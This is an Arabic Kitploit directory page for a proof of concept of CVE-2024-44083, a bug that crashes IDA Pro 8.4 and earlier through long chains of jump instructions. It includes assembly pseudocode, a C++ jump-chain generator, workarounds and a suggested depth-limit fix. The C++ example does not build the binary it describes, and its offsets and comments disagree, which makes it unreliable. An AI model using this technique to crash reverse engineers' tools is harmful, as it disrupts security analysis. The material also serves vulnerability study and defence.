Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-44083 — poc الخاص بي لـ CVE-2024-44083. | Kitploit
أدوات/GitHubGitHub/dynamicx64/cve-2024-44083
تحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةالاختبار العشوائيتحليل الملفات الثنائيةالتعلم والتعليم
GitHubdynamicx64/cve-2024-44083

CVE-2024-44083

poc الخاص بي لـ CVE-2024-44083.

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-44083

تم حذف مستودعات PoC الأصلية (github.com/Azvanzed/CVE-2024-44083, github.com/Azvanzed/IdaMeme) لذا ها هو. أعدت إنشاءه لمن يريد فهم كيفية عمله أو اختبار إعداده.

يتعطل IDA Pro ≤ 8.4 عند تحليل ملفات ثنائية تحتوي على سلاسل قفزات مفرطة.

الخلل

ida64.dll لا يحدّ من العمق الذي يصل إليه عند تتبّع سلاسل القفزات. لذلك إذا كان لديك ملف ثنائي يحتوي على آلاف القفزات المترابطة التي تنتهي عند نقطة الدخول، فإن IDA ببساطة يقتل نفسه.

الحقلالقيمة
CVECVE-2024-44083
المتأثرIDA Pro ≤ 8.4
المكوّنida64.dll
CWECWE-770 (استنزاف الموارد)
التأثيرتعطل (DoS)

كيف يعمل

الفكرة بسيطة: اجعل قسمًا مليئًا بالقفزات التي تقفز إلى مزيد من القفزات.

root@kitploit:~
; pseudocode obviously

section .text

; thousands of these
jump_0:
    jmp jump_1
jump_1:
    jmp jump_2
jump_2:
    jmp jump_3
; ... keep going ...
jump_9999:
    jmp payload

payload:
    call _start    ; this creates the cross-reference that breaks things

_start:
    ; IDA tries to resolve all the jumps pointing here
    ; boom crash
    ret

يحاول IDA متابعة وتتبّع كل هذه القفزات لبناء مراجع متقاطعة، ومع وجود عدد كافٍ منها يستسلم وينهار.

افعلها بنفسك (مثال)

إذا أردت صنع شيء مثل هذا بلغة ++C فستفعل شيئًا كالتالي:

root@kitploit:~

#include <windows.h>
#include <cstring>

// the idea is to generate a ton of jump instructions
// that chain together and eventually hit the entry point
void generate_jump_chain() {
    // allocate executable memory for our jump chain
    unsigned char* code = (unsigned char*)VirtualAlloc(
        NULL,
        10000 * 5 + 10,  // 10,000 jumps × 5 bytes + some extra
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    if (!code) return;
    
    int offset = 0;
    
    // create 10,000 chained jumps
    for (int i = 0; i < 10000; i++) {
        // write JMP rel32 instruction (E9 xx xx xx xx)
        code[offset] = 0xE9;  // JMP opcode
        
        // calculate relative offset to next jump (5 bytes ahead)
        int32_t rel = 5;
        
        // copy the 4-byte relative offset
        memcpy(&code[offset + 1], &rel, 4);
        
        offset += 5;
    }
    
    // last jump creates circular reference
    // jump back 5 bytes to create infinite loop
    code[offset] = 0xE9;
    int32_t rel = -5;
    memcpy(&code[offset + 1], &rel, 4);
    
    // you can also return a value to make it believeable
    offset += 5;
    code[offset] = 0xC3;  // ret
    
    // this is the pattern that crashes IDA:
    // 10,000 jumps → self-referential jump → IDA gets stuck
    // no depth limit in recursion → stack overflow → crash
    
    // cleanup
    VirtualFree(code, 0, MEM_RELEASE);
}

باختصار، أنت فقط تكتب مجموعة من تعليمات JMP مرتبطة ببعضها. عندما يحاول IDA أن يتحلّى بالذكاء في تحليلها، ينفد المكدس/الذاكرة لديه.

الإصلاح

إذا كنت عالقًا على إصدار أقدم من IDA:

  1. عطّل التحليل التلقائي قبل فتح ملفات مشبوهة

    • انقر على الدائرة الصفراء/الخضراء في شريط الأدوات لإيقاف تشغيلها
    • أو من Options → General → Analysis، ألغِ تحديد «Enabled»
    • افحص يدويًا أولاً ثم أعد التفعيل إذا بدا الوضع آمنًا
  2. قلّل التحليل على الأقسام المشبوهة

    • انقر بزر الماوس الأيمن على القسم → Edit segment
    • غيّر نوع المقطع أو صلاحياته لمنع تحليل الكود
    • أو احذف المقطع بالكامل إذا لم تكن بحاجة إليه

ما الذي ينبغي على Hex-Rays فعله:

root@kitploit:~
// pseudocode

#define MAX_JUMP_DEPTH 1000

void analyze_jumps(address_t addr, int depth) {
    if (depth > MAX_JUMP_DEPTH) {
        warn("jump chain too deep. fail.");
        return;  // dont crash just stop
    }
    
    address_t target = get_jump_target(addr);
    if (target) {
        analyze_jumps(target, depth + 1);
    }
}

بكل بساطة، فقط أضِف حدًّا للعمق، وهذا كل شيء.

المراجع

  • NVD
  • hexrays.su <-- لترقية IDA لديك

إخلاء المسؤولية

لأغراض تعليمية فقط، لا تكن وغدًا.

تنزيل الأداة